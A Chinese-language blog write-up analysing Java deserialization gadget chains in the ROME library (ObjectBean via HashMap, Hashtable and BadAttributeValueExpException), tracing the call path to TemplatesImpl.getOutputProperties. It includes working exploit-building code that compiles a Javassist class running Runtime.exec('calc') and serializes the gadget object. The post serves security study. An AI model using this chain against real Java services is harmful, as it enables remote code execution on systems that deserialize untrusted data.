ROME链分析
ROME链分析
ROME 是一个用于 RSS 和 Atom 订阅的 Java 框架。它是开源的,并根据 Apache 2.0 许可授权。
ROME 包括一套解析器和生成器,可用于各种形式的聚合提要,以及将一种格式转换为另一种格式的转换器。解析器可以为您提供特定格式的 Java 对象,或者是通用的规范化 SyndFeed 类,让您可以处理数据,而无需考虑传入或传出的 feed 类型。
ObjectBean利用链
TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
EqualsBean.beanHashCode()
EqualsBean.hashCode()
ObjetBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)
源码分析
这里我们首先从HashMap开始分析,
#hashmap.readObject,这里面会

这个就是之前分析过的putVal触发之后,触发hash方法,然后触发我们的hashCode方法

这里我们看到这儿之后就会发现,显然(看了链子之后)这个key溯源回去就是我们的ObjectBean这个对象,所以我们直接去寻找ObjectBean这个类的hashCode方法

这里又继续调用了beanHashCode方法,

这个是EqualsBean里面的方法继续跟进

这里我们得去看看这个_obj指的是什么
这里可以看到这个构造方法,我们实际上这里是我们可控的点,也就是后面我们传入的ToStringBean当做obj的值

跟进我们的toString方法就进入这个了

这个toString方法就是完成将我们toStringBean对象里面类的名称提取出来并存储起来,然后传递给另外一个重载的toString

PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
BeanIntrospector.getPropertyDescriptors方法获取当前对象(由this._beanClass指定的类)的所有属性,这个_beanClass实际上就是我们需要使用的TemplateImpl.class。还就是这个getReadMethod方法的时候在TemplateImpl.class中是我们的getOutputProperties,调用完成了我们的 TemplateImpl.getOutputPropertries(这就完成了我们链子的主要部分,其余就是CC3的动态加载字节码了。
EXP书写
1.恶意类书写
ClassPool classpool=ClassPool.getDefault();
classpool.appendClassPath(AbstarctTranslet);
CtClass payload= classpool.makeClass("erin");
payload.setSuperclass(classpool.get(AbstarctTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes= payload.toBytecode();
2.创建TemplatesImpl对象
Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
setFiled(templateImpl,"_bytecode",bytes);
setFiled(templateImpl,"_tfactory",null);
setFiled(templateImpl,"_name","e4telle");
3.创建ToStringBean对象,设置ObjectBean
ToStringBean toStringBean=new ToStringBean(TemplatesImpl.getClass(),templateImpl);
ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean);
setFiled(objectBean,"_toStringbean",null);
setFiled(objectBean, "_cloneableBean", null);
4.HashMap对象的创建,put值进去
HashMap<Object,Object> hashMap=new HashMap<>();
hashMap.put(objectBean,"abcd");
5.反序列化和序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ObjectBean.bin"));
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
// 反序列化
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ObjectBean.bin"));
objectInputStream.readObject();
objectInputStream.close();
HashCode链
源码分析

在我们上个链子的入口的时候我们发现调用HahMap的readObject方法调用了hash方法,然后到hashcode方法,所以我们也可以直接使用HashTable里面的readObject方法直接调用hashcode方法


EXP书写
Hashtable hashtable = new Hashtable();
hashtable.put(objectBean, "test");
BadAttributeValueExpException利用链
TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
BadAttributeValueExpException.readObject()
这个就是类的积累了,就是BadAttributeValueExpException的readObject方法的调用了
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// 使用 ObjectInputStream 的 readFields 方法获取反序列化的字段
ObjectInputStream.GetField gf = ois.readFields();
// 从字段集合中获取名为 "val" 的字段的值
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
// 重点在这里,调用了toString方法
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
这里的System.getSecurityManager()返回的null,表示当前线程并未设置或安装安全管理器
所以我们只要把valObj设置为我们的ToStringBean对象就OK了。
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFiled(badAttributeValueExpException, "val", toStringBean);

浙公网安备 33010602011771号